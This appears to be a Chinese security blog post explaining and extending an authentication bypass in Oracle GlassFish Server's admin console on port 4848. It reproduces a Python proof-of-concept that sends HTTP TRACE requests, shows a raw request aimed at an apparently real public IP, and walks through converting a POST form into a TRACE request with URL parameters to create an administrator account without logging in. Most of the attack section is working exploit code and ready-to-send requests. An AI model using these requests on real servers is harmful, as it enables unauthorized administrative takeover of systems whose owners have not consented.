Oracle GlassFish Server认证绕过–鸡肋漏洞的深入利用

0×0 概述

0×1 关于这个漏洞

0×2 深入

0×3 实例
 

0×0 概述

什么是GlassFish?

GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。它用于构建 Java EE 5 应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。这是对希望能够获得源代码并为开发 Sun 的下一代应用服务器(基于 GlassFish)作出贡献的 Java 开发者作出的回应。该项目旨在促进 Sun 和 Oracle 工程师与社区之间的交流,它将使得所有开发者都能够参与到应用服务器的开发过程中来。

 

0×1 关于这个漏洞

首先看漏洞链接: http://www.exploit-db.com/exploits/17276/

这是11年的漏洞,针对版本为Oracle GlassFish Server 3.0.1&&Sun GlassFish Enterprise Server 2.1.1。

GlassFish在4848端口有一个需要认证的管理后台,但是未经身份验证的远程攻击者可以通过对GlassFish管理控制台使用TRACE方法来请求未授权页面,需要注意的是GlassFish不会返回访问禁止,而会像GET一样返回攻击者请求的页面。

给出的exp如下:

import sys
import httplib

def make_trace_request(host, port, selector):

    print '[*] TRACE request: %s' % selector
    headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 5.1; Trident/4.0)',
                'Host': '%s:%s' % (host, port),
                'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'en-us,en;q=0.5',
                'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
                'Accept-Encoding': 'gzip,deflate',
                'Connection': 'close',
                'Referer': 'http://%s:%s%s' % (host, port, selector)}

    conn = httplib.HTTPConnection(host, port)
    conn.request('TRACE', selector, headers=headers)
    response = conn.getresponse()
    conn.close()

    print response.status, response.reason
    print response.getheaders()
    print response.read()

if len(sys.argv) != 3:
    print "Usage: $ python poc.py <GlassFish_IP> <GlassFish_Administration_Port>\nE.g:   $ python poc.py 192.168.0.1 4848"
    sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])
make_trace_request(host, port, '/applications/upload.jsf')

 

 最后发出的请求是这样的

TRACE /applications/upload.jsf HTTP/1.1
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Host: 61.186.173.87:4848
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Referer: http://61.186.173.87:4848/applications/upload.jsf
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 5.1; Trident/4.0)

之后存在漏洞的服务器会返回该页面的完整内容,因此我们可以TRACE来代替GET访问一些敏感的页面,比如:

  • 部署页面:http://<GlassFish_IP>:4848/applications/upload.jsf
  • 日志页面:http://<GlassFish_IP>:4848/logViewer/logViewer.jsf?instanceName=server&loglevel=INFO&logFile=server.log&viewResults=true#options

 

0×2 深入

在测试部署页面时,我发现部署完毕以后点击ok提交的参数是以POST形式提交的,然而这样的形式我无法使用TRACE来替代,否则就返回登录页面。很多页面的参数是以POST方式提交的,也就是说这个漏洞的限制让我们无法和应用程序进行过多的交互,我们只能以GET方式来浏览页面,出现交互的地方基本都是POST提交的,这样一来就鸡肋了。。

进一步测试以后发现服务端是不区分参数的提交方式的,后端用的类似REQUEST来取参数,所以遇到POST的地方全部换成GET,最后TRACE之。

 

0×3 实例

比如添加一个帐号密码都是ztz的管理员原来的http请求是:

POST http://192.168.15.154:4848/configuration/manageUserNew.jsf HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; Edition IBIS) Presto/2.12.388 Version/12.12
Host: 192.168.15.154:4848
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://192.168.15.154:4848/configuration/manageUserNew.jsf?name=admin-realm&configName=server-config
Cookie: JSESSIONID=220f82b15ccbbec04b169f55b253; form:tree-hi=form:tree:configuration:security:realms:comsunappservtypeauth-realmnameadmin-realmconfigserver-configcategoryconfig
Connection: Keep-Alive
Content-Length: 671
Content-Type: application/x-www-form-urlencoded

propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=++%E7%A1%AE%E5%AE%9A++&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AuserIdProp%3AUserId=ztz&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AgroupListProp%3AGroupList=asadmin&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AnewPasswordProp%3ANewPassword=ztz&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AconfirmPasswordProp%3AConfirmPassword=ztz&propertyForm%3AhelpKey=manageusernew.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id44%3Aj_id46&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton

 

把POST的参数放到URL里,再TRACE请求,就直接添加管理员了。

TRACE http://192.168.15.154:4848/configuration/manageUserNew.jsf?propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=++%E7%A1%AE%E5%AE%9A++&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AuserIdProp%3AUserId=ztz&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AgroupListProp%3AGroupList=asadmin&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AnewPasswordProp%3ANewPassword=ztz&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AconfirmPasswordProp%3AConfirmPassword=ztz&propertyForm%3AhelpKey=manageusernew.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=j_id44%3Aj_id46&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton HTTP/1.1
User-Agent: Opera/9.80 (Windows NT 6.1; WOW64; Edition IBIS) Presto/2.12.388 Version/12.12
Host: 192.168.15.154:4848
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://192.168.15.154:4848/configuration/manageUserNew.jsf?name=admin-realm&configName=server-config
Cookie: JSESSIONID=220f82b15ccbbec04b169f55b253; form:tree-hi=form:tree:configuration:security:realms:comsunappservtypeauth-realmnameadmin-realmconfigserver-configcategoryconfig
Connection: Keep-Alive
我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章